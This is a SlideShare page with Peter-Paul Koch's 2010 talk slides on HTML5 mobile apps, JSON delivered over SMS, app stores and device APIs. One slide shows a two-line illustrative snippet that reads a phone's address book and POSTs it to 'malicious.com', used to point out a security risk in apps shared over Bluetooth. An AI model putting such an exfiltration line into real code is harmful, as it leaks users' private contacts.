SlideShare a Scribd company logo
1 of 44
Download to read offline
JSON over SMS
and other cool stories
from the mobile world
Peter-Paul Koch (ppk)
http://quirksmode.org
http://twitter.com/ppk
Front Trends, 22 Oct 2010
Hell is other browsers - Sartre
The desktop web
Boring!
- Only five browsers
- with only one viewport each
- that support nearly everything
- Even IE? Yes, even IE.
The Mobile Web
Exciting!
- Fifteen browsers and counting
- ranging from great to lousy
- at least two viewports each
- Interesting new bugs
- About three times as many users as
the desktop web (eventually)
- Different context
iPhone 3G
2008 – 700 euros
2010 – 250 euros
2018 – 10 euros?
2018Smartphone
The Mobile Web
2018 – for everybody?
The fisherman might like a little app
that keeps track of prices in various
towns – maybe he can discover some
patterns.
The Mobile Web
And he may want to impress his friends.
He may even want to share it.
But suppose he has a Nokia, and his
friend a Samsung.
The Mobile Web
He will just send the app via Bluetooth
and it will work
whatever phone receives it...
The Mobile Web
This is NOT futurology.
I've done it. I moved a W3C widget from
Symbian to Windows Mobile.
And it worked ... almost.
Granted, it's not easy yet.
- technical differences
- lousy user interface
HTML5 apps
So the fashion-conscious fisherman of
2018 will share apps via Bluetooth.
What kind of apps? HTML5 apps.
They are the future of the mobile web.
Because web apps work everywhere.
Native app only works on one platform.
Why bother with only one platform?
HTML5 apps
What is an HTML5 app?
- One core app written in HTML, CSS,
and JavaScript
- Deployed to several mobile platforms
- If it can't be deployed it's still a
website. (This includes desktop
browsers.)
http://www.quirksmode.org/blog/archives/2010/03/html5_apps.html
HTML5 apps
What is an HTML5 app?
The HTML, CSS, and JavaScript files are
stored on the device
so that when the user opens the app
again he doesn't have to download them
just the data (via Ajax or otherwise)
Important on lousy connections
HTML5 apps
Deployment right now
- W3C Widget (bada, Vodafone, Opera,
Symbian, BlackBerry)
- Palm webOS app
- iPhone appcached site
- Phonegap (iPhone, Android,
BlackBerry, Symbian, webOS)
http://uxebu.com/blog/2010/02/15/eventninja-a-mobile-cross-
platform-app/
HTML5 apps
Deployment right now
We need an automated deployment
systen. Upload web core to service, and
it will return all the different formats
you need.
Stopgap solution; only for the next few
years.
HTML5 apps
Deployment in the future
Bluetooth. Or the web.
With Nokia, Samsung, and RIM
supporting the format, the other
platform vendors will have to comply.
Eventually.
HTML5 apps - data
So the fashion-conscious fisherman of
2018 will use HTML5 apps.
HTML5 apps will need data.
This data will likely be sent as JSON.
- Light-weight
- Already works everywhere
Receiving JSON data
How will he receive the JSON?
- Wifi? Unlikely – it's expensive to set up,
especially for a fisherman.
- Mobile data connection? Possible, but
expensive.
Besides, it's pull-only.
JSON over SMS
How will he receive the JSON?
I think it will be over SMS:
- only way of pushing data; sometimes
there will be urgent messages of price
fluctuations.
- service wants to make money, too.
Premium SMS already exists
everywhere.
JSON over SMS
To: fisherman024
towns: {town1: {prices:{fish1:0.88,
fish2:1.34, fish3:0.79}, town2: {prices:
{fish1:0.63; fish2:1.19; fish3:1.13}},
date: 221018
Notice syntax error?
No quotes. Takes too much space for an
SMS; 26 characters in this example.
(Forgive me, Douglas)
Monetisation
But wait a minute.
- The fisherman pays for the SMSs he
receives.
- He can share the app freely with
anyone, though.
What will that do to monetisation?
Monetisation
With HTML5 apps and JSON over SMS (or
similar techniques)
we don't need the app stores any more!
We'll pay for the content, and not for the
app itself.
(This would work for many apps out
there right now.)
App stores
You know how many app stores there
are nowadays?
At least 41
Source:
distimo.com
App stores
This is getting ridiculous.
Why do we need app stores anyway?
- Discoverability
- Device APIs
- Monetisation
Discoverability
How can you be discovered if tens of
thousands of other apps scream for
attention, too?
Solution: marketing campaign
which costs a hell of a lot of money
and is unattainable for average dev
Or being a Big Brand already
Device APIs
Meant for accessing the camera,
address book, accelerometer, GPS, and
other phone functions.
device.phone.call(device.addressBook['mom'])
Current browsers don't support them
yet, except geolocation.
So we need native apps – for now.
Device APIs
But
if I receive an app by Bluetooth
how am I going to know it won't steal
my address book?
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);
Serious security issue here.
Monetisation
The operators will conquer the payment
market
because they already bill the user;
and a credit card is not necessary
Problem: they're so bloody slow
WAC
WAC: shared APIs for many operators
around the world,
for device APIs
and also for mobile payments
Problem: WAC unites 48 operators
who have to agree about everything.
You get the picture.
End of the app stores
“Why is everyone so exercised? As with
all walled gardens, the web will interpret
the App Store as damage and route
around it.”
- Eric Meyer
We're getting there.
HTML5 apps conclusion
So HTML5 apps will conquer the world,
because they will work everywhere.
They may get their data as JSON over
SMS.
They will make the app stores obsolete.
Cool, isn't it?
Let's review more possibilities.
Web servers
In the future, your mobile phone might
run a web server over Bluetooth.
Especially useful at conferences when
the wifi doesn't work.
Or to establish contact with strangers
(Bluetooth already works that way).
JavaScript events
Fun game: invent mobile JS events
- ononline and onoffline
- onorientationchange
- onshake
- oncameraopen
- onmove (GPS)
- onphonecall
- oncompasspointnorth
- etc.
Establishing context
The mobile context is going to be
massively important.
With desktop computers, or even
laptops, you're pretty certain that the
user is sitting somewhere; most likely
with a table to put the computer on.
She's not moving.
Establishing context
With mobile this context CAN BE
massively different.
- Walk on street
- On a train
- Or sitting in a chair or on a sofa at
home
How do we know what the context is?
Establishing context
GPS data is the obvious solution.
But one data point is not enough.
OK, the user is on the streets and not at
home, but is she
walking,
running,
in a bus,
or sitting in a café?
Establishing context
Maybe GPS should gather data
automatically every ten minutes or so,
and give this data to any app that asks.
That will give us a true mobile context,
because we can read out the user's
speed.
Establishing context
But:
- privacy
- battery life
In other words, the user must be able to
turn this function off.
No big deal.
A final caveat
I'm trying to predict the future here
and predicting the future is not an exact
science
I could be totally wrong about
absolutely everything.
That's not the point, though.
A final caveat
The point is
that mobile will release a huge wave of
high-level creativity
creativity that I've started to miss on the
“fixed web.”
So make your own prediction
and put it on Twitter (#ft2010)
Thank you!
Interested?
Join the Mobile Web mailing list
http://tech.groups.yahoo.com/group/mobile-web/
Thank you!
Questions?
http://quirksmode.org
http://twitter.com/ppk
I'll post these slides on my site.

More Related Content

Similar to JSON over SMS

Google presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobileGoogle presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobilePeter-Paul Koch
 
Mobile Analytics
Mobile AnalyticsMobile Analytics
Mobile Analyticstchenard
 
Singapore Mobile 2.0 & Ux Trends 2009: Scott Weiss
Singapore Mobile 2.0 & Ux Trends 2009: Scott WeissSingapore Mobile 2.0 & Ux Trends 2009: Scott Weiss
Singapore Mobile 2.0 & Ux Trends 2009: Scott WeissYOGESH TADWALKAR
 
The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009Peter-Paul Koch
 
Introduction to mobile technology
Introduction to mobile technologyIntroduction to mobile technology
Introduction to mobile technologyGautam Krishnan
 
Selje_Fox on the Run.pdf
Selje_Fox on the Run.pdfSelje_Fox on the Run.pdf
Selje_Fox on the Run.pdfEric Selje
 
The Browser is Dead, Long Live the Web!
The Browser is Dead, Long Live the Web!The Browser is Dead, Long Live the Web!
The Browser is Dead, Long Live the Web!Jonathan Stark
 
The Browser is Dead, Long Live the Web! (Jonathan Stark)
 The Browser is Dead, Long Live the Web! (Jonathan Stark) The Browser is Dead, Long Live the Web! (Jonathan Stark)
The Browser is Dead, Long Live the Web! (Jonathan Stark)Future Insights
 
What lies ahead of HTML5_Ooop Munich 2013_Krzysztof Szafranek
What lies ahead of HTML5_Ooop Munich 2013_Krzysztof SzafranekWhat lies ahead of HTML5_Ooop Munich 2013_Krzysztof Szafranek
What lies ahead of HTML5_Ooop Munich 2013_Krzysztof SzafranekWooga
 
Overcoming design challenges in HAT-based multichannel publishing
Overcoming design challenges in HAT-based multichannel publishingOvercoming design challenges in HAT-based multichannel publishing
Overcoming design challenges in HAT-based multichannel publishingJack Molisani
 
Mobile is the new Godzilla July 2011 FCIP
Mobile is the new Godzilla July 2011 FCIPMobile is the new Godzilla July 2011 FCIP
Mobile is the new Godzilla July 2011 FCIPRZasadzinski
 
Augmented Reality: From Marketing Buzzword to Better Consumer Experience
Augmented Reality: From Marketing Buzzword to Better Consumer ExperienceAugmented Reality: From Marketing Buzzword to Better Consumer Experience
Augmented Reality: From Marketing Buzzword to Better Consumer ExperienceZugara
 
InterACT! Conference Presentation on Augmented Reality
InterACT! Conference Presentation on Augmented RealityInterACT! Conference Presentation on Augmented Reality
InterACT! Conference Presentation on Augmented RealityMatthew Szymczyk
 

Similar to JSON over SMS (20)

Samsung
SamsungSamsung
Samsung
 
Google presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobileGoogle presentation: The Open Web goes mobile
Google presentation: The Open Web goes mobile
 
Mobile Analytics
Mobile AnalyticsMobile Analytics
Mobile Analytics
 
Singapore Mobile 2.0 & Ux Trends 2009: Scott Weiss
Singapore Mobile 2.0 & Ux Trends 2009: Scott WeissSingapore Mobile 2.0 & Ux Trends 2009: Scott Weiss
Singapore Mobile 2.0 & Ux Trends 2009: Scott Weiss
 
The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009The Mobile Web - Fronteers 2009
The Mobile Web - Fronteers 2009
 
Introduction to mobile technology
Introduction to mobile technologyIntroduction to mobile technology
Introduction to mobile technology
 
DDive- Giuseppe Grasso - mobile su Lotus
DDive- Giuseppe Grasso - mobile su LotusDDive- Giuseppe Grasso - mobile su Lotus
DDive- Giuseppe Grasso - mobile su Lotus
 
Mobile
MobileMobile
Mobile
 
Selje_Fox on the Run.pdf
Selje_Fox on the Run.pdfSelje_Fox on the Run.pdf
Selje_Fox on the Run.pdf
 
Mobile App Testing
Mobile App TestingMobile App Testing
Mobile App Testing
 
The Browser is Dead, Long Live the Web!
The Browser is Dead, Long Live the Web!The Browser is Dead, Long Live the Web!
The Browser is Dead, Long Live the Web!
 
The Browser is Dead, Long Live the Web! (Jonathan Stark)
 The Browser is Dead, Long Live the Web! (Jonathan Stark) The Browser is Dead, Long Live the Web! (Jonathan Stark)
The Browser is Dead, Long Live the Web! (Jonathan Stark)
 
What lies ahead of HTML5_Ooop Munich 2013_Krzysztof Szafranek
What lies ahead of HTML5_Ooop Munich 2013_Krzysztof SzafranekWhat lies ahead of HTML5_Ooop Munich 2013_Krzysztof Szafranek
What lies ahead of HTML5_Ooop Munich 2013_Krzysztof Szafranek
 
What Lies Ahead for HTML5
What Lies Ahead for HTML5What Lies Ahead for HTML5
What Lies Ahead for HTML5
 
14 Web tech trends 2014
14 Web tech trends 201414 Web tech trends 2014
14 Web tech trends 2014
 
Overcoming design challenges in HAT-based multichannel publishing
Overcoming design challenges in HAT-based multichannel publishingOvercoming design challenges in HAT-based multichannel publishing
Overcoming design challenges in HAT-based multichannel publishing
 
Mobile is the new Godzilla July 2011 FCIP
Mobile is the new Godzilla July 2011 FCIPMobile is the new Godzilla July 2011 FCIP
Mobile is the new Godzilla July 2011 FCIP
 
Augmented Reality: From Marketing Buzzword to Better Consumer Experience
Augmented Reality: From Marketing Buzzword to Better Consumer ExperienceAugmented Reality: From Marketing Buzzword to Better Consumer Experience
Augmented Reality: From Marketing Buzzword to Better Consumer Experience
 
InterACT! Conference Presentation on Augmented Reality
InterACT! Conference Presentation on Augmented RealityInterACT! Conference Presentation on Augmented Reality
InterACT! Conference Presentation on Augmented Reality
 
How to design a wireless world
How to design a wireless worldHow to design a wireless world
How to design a wireless world
 

More from Peter-Paul Koch

Rethinking the mobile web
Rethinking the mobile webRethinking the mobile web
Rethinking the mobile webPeter-Paul Koch
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser worldPeter-Paul Koch
 
The future of the mobile web
The future of the mobile webThe future of the mobile web
The future of the mobile webPeter-Paul Koch
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser worldPeter-Paul Koch
 
The touch events - WebExpo
The touch events - WebExpoThe touch events - WebExpo
The touch events - WebExpoPeter-Paul Koch
 
State of the Mobile Browsers
State of the Mobile BrowsersState of the Mobile Browsers
State of the Mobile BrowsersPeter-Paul Koch
 
Voices That Matter: JavaScript Events
Voices That Matter: JavaScript EventsVoices That Matter: JavaScript Events
Voices That Matter: JavaScript EventsPeter-Paul Koch
 
The Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The BrowsersThe Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The BrowsersPeter-Paul Koch
 
An Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScriptAn Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScriptPeter-Paul Koch
 
Yahoo presentation: JavaScript Events
Yahoo presentation: JavaScript EventsYahoo presentation: JavaScript Events
Yahoo presentation: JavaScript EventsPeter-Paul Koch
 

More from Peter-Paul Koch (13)

Rethinking the mobile web
Rethinking the mobile webRethinking the mobile web
Rethinking the mobile web
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser world
 
The future of the mobile web
The future of the mobile webThe future of the mobile web
The future of the mobile web
 
The mobile browser world
The mobile browser worldThe mobile browser world
The mobile browser world
 
The touch events
The touch eventsThe touch events
The touch events
 
The touch events - WebExpo
The touch events - WebExpoThe touch events - WebExpo
The touch events - WebExpo
 
The touch events
The touch eventsThe touch events
The touch events
 
State of the Mobile Browsers
State of the Mobile BrowsersState of the Mobile Browsers
State of the Mobile Browsers
 
Vodafone Widget Camp
Vodafone Widget CampVodafone Widget Camp
Vodafone Widget Camp
 
Voices That Matter: JavaScript Events
Voices That Matter: JavaScript EventsVoices That Matter: JavaScript Events
Voices That Matter: JavaScript Events
 
The Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The BrowsersThe Ajax Experience: State Of The Browsers
The Ajax Experience: State Of The Browsers
 
An Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScriptAn Event Apart Boston: Principles of Unobtrusive JavaScript
An Event Apart Boston: Principles of Unobtrusive JavaScript
 
Yahoo presentation: JavaScript Events
Yahoo presentation: JavaScript EventsYahoo presentation: JavaScript Events
Yahoo presentation: JavaScript Events
 

JSON over SMS

  • 1. JSON over SMS and other cool stories from the mobile world Peter-Paul Koch (ppk) http://quirksmode.org http://twitter.com/ppk Front Trends, 22 Oct 2010 Hell is other browsers - Sartre
  • 2. The desktop web Boring! - Only five browsers - with only one viewport each - that support nearly everything - Even IE? Yes, even IE.
  • 3.
  • 4. The Mobile Web Exciting! - Fifteen browsers and counting - ranging from great to lousy - at least two viewports each - Interesting new bugs - About three times as many users as the desktop web (eventually) - Different context
  • 5.
  • 6. iPhone 3G 2008 – 700 euros 2010 – 250 euros 2018 – 10 euros?
  • 8. The Mobile Web 2018 – for everybody? The fisherman might like a little app that keeps track of prices in various towns – maybe he can discover some patterns.
  • 9. The Mobile Web And he may want to impress his friends. He may even want to share it. But suppose he has a Nokia, and his friend a Samsung.
  • 10. The Mobile Web He will just send the app via Bluetooth and it will work whatever phone receives it...
  • 11. The Mobile Web This is NOT futurology. I've done it. I moved a W3C widget from Symbian to Windows Mobile. And it worked ... almost. Granted, it's not easy yet. - technical differences - lousy user interface
  • 12. HTML5 apps So the fashion-conscious fisherman of 2018 will share apps via Bluetooth. What kind of apps? HTML5 apps. They are the future of the mobile web. Because web apps work everywhere. Native app only works on one platform. Why bother with only one platform?
  • 13. HTML5 apps What is an HTML5 app? - One core app written in HTML, CSS, and JavaScript - Deployed to several mobile platforms - If it can't be deployed it's still a website. (This includes desktop browsers.) http://www.quirksmode.org/blog/archives/2010/03/html5_apps.html
  • 14. HTML5 apps What is an HTML5 app? The HTML, CSS, and JavaScript files are stored on the device so that when the user opens the app again he doesn't have to download them just the data (via Ajax or otherwise) Important on lousy connections
  • 15. HTML5 apps Deployment right now - W3C Widget (bada, Vodafone, Opera, Symbian, BlackBerry) - Palm webOS app - iPhone appcached site - Phonegap (iPhone, Android, BlackBerry, Symbian, webOS) http://uxebu.com/blog/2010/02/15/eventninja-a-mobile-cross- platform-app/
  • 16. HTML5 apps Deployment right now We need an automated deployment systen. Upload web core to service, and it will return all the different formats you need. Stopgap solution; only for the next few years.
  • 17. HTML5 apps Deployment in the future Bluetooth. Or the web. With Nokia, Samsung, and RIM supporting the format, the other platform vendors will have to comply. Eventually.
  • 18. HTML5 apps - data So the fashion-conscious fisherman of 2018 will use HTML5 apps. HTML5 apps will need data. This data will likely be sent as JSON. - Light-weight - Already works everywhere
  • 19. Receiving JSON data How will he receive the JSON? - Wifi? Unlikely – it's expensive to set up, especially for a fisherman. - Mobile data connection? Possible, but expensive. Besides, it's pull-only.
  • 20. JSON over SMS How will he receive the JSON? I think it will be over SMS: - only way of pushing data; sometimes there will be urgent messages of price fluctuations. - service wants to make money, too. Premium SMS already exists everywhere.
  • 21. JSON over SMS To: fisherman024 towns: {town1: {prices:{fish1:0.88, fish2:1.34, fish3:0.79}, town2: {prices: {fish1:0.63; fish2:1.19; fish3:1.13}}, date: 221018 Notice syntax error? No quotes. Takes too much space for an SMS; 26 characters in this example. (Forgive me, Douglas)
  • 22. Monetisation But wait a minute. - The fisherman pays for the SMSs he receives. - He can share the app freely with anyone, though. What will that do to monetisation?
  • 23. Monetisation With HTML5 apps and JSON over SMS (or similar techniques) we don't need the app stores any more! We'll pay for the content, and not for the app itself. (This would work for many apps out there right now.)
  • 24. App stores You know how many app stores there are nowadays? At least 41
  • 26. App stores This is getting ridiculous. Why do we need app stores anyway? - Discoverability - Device APIs - Monetisation
  • 27. Discoverability How can you be discovered if tens of thousands of other apps scream for attention, too? Solution: marketing campaign which costs a hell of a lot of money and is unattainable for average dev Or being a Big Brand already
  • 28. Device APIs Meant for accessing the camera, address book, accelerometer, GPS, and other phone functions. device.phone.call(device.addressBook['mom']) Current browsers don't support them yet, except geolocation. So we need native apps – for now.
  • 29. Device APIs But if I receive an app by Bluetooth how am I going to know it won't steal my address book? var ab = device.addressBook.toString(); sendRequest(POST,'malicious.com',ab); Serious security issue here.
  • 30. Monetisation The operators will conquer the payment market because they already bill the user; and a credit card is not necessary Problem: they're so bloody slow
  • 31. WAC WAC: shared APIs for many operators around the world, for device APIs and also for mobile payments Problem: WAC unites 48 operators who have to agree about everything. You get the picture.
  • 32. End of the app stores “Why is everyone so exercised? As with all walled gardens, the web will interpret the App Store as damage and route around it.” - Eric Meyer We're getting there.
  • 33. HTML5 apps conclusion So HTML5 apps will conquer the world, because they will work everywhere. They may get their data as JSON over SMS. They will make the app stores obsolete. Cool, isn't it? Let's review more possibilities.
  • 34. Web servers In the future, your mobile phone might run a web server over Bluetooth. Especially useful at conferences when the wifi doesn't work. Or to establish contact with strangers (Bluetooth already works that way).
  • 35. JavaScript events Fun game: invent mobile JS events - ononline and onoffline - onorientationchange - onshake - oncameraopen - onmove (GPS) - onphonecall - oncompasspointnorth - etc.
  • 36. Establishing context The mobile context is going to be massively important. With desktop computers, or even laptops, you're pretty certain that the user is sitting somewhere; most likely with a table to put the computer on. She's not moving.
  • 37. Establishing context With mobile this context CAN BE massively different. - Walk on street - On a train - Or sitting in a chair or on a sofa at home How do we know what the context is?
  • 38. Establishing context GPS data is the obvious solution. But one data point is not enough. OK, the user is on the streets and not at home, but is she walking, running, in a bus, or sitting in a café?
  • 39. Establishing context Maybe GPS should gather data automatically every ten minutes or so, and give this data to any app that asks. That will give us a true mobile context, because we can read out the user's speed.
  • 40. Establishing context But: - privacy - battery life In other words, the user must be able to turn this function off. No big deal.
  • 41. A final caveat I'm trying to predict the future here and predicting the future is not an exact science I could be totally wrong about absolutely everything. That's not the point, though.
  • 42. A final caveat The point is that mobile will release a huge wave of high-level creativity creativity that I've started to miss on the “fixed web.” So make your own prediction and put it on Twitter (#ft2010)
  • 43. Thank you! Interested? Join the Mobile Web mailing list http://tech.groups.yahoo.com/group/mobile-web/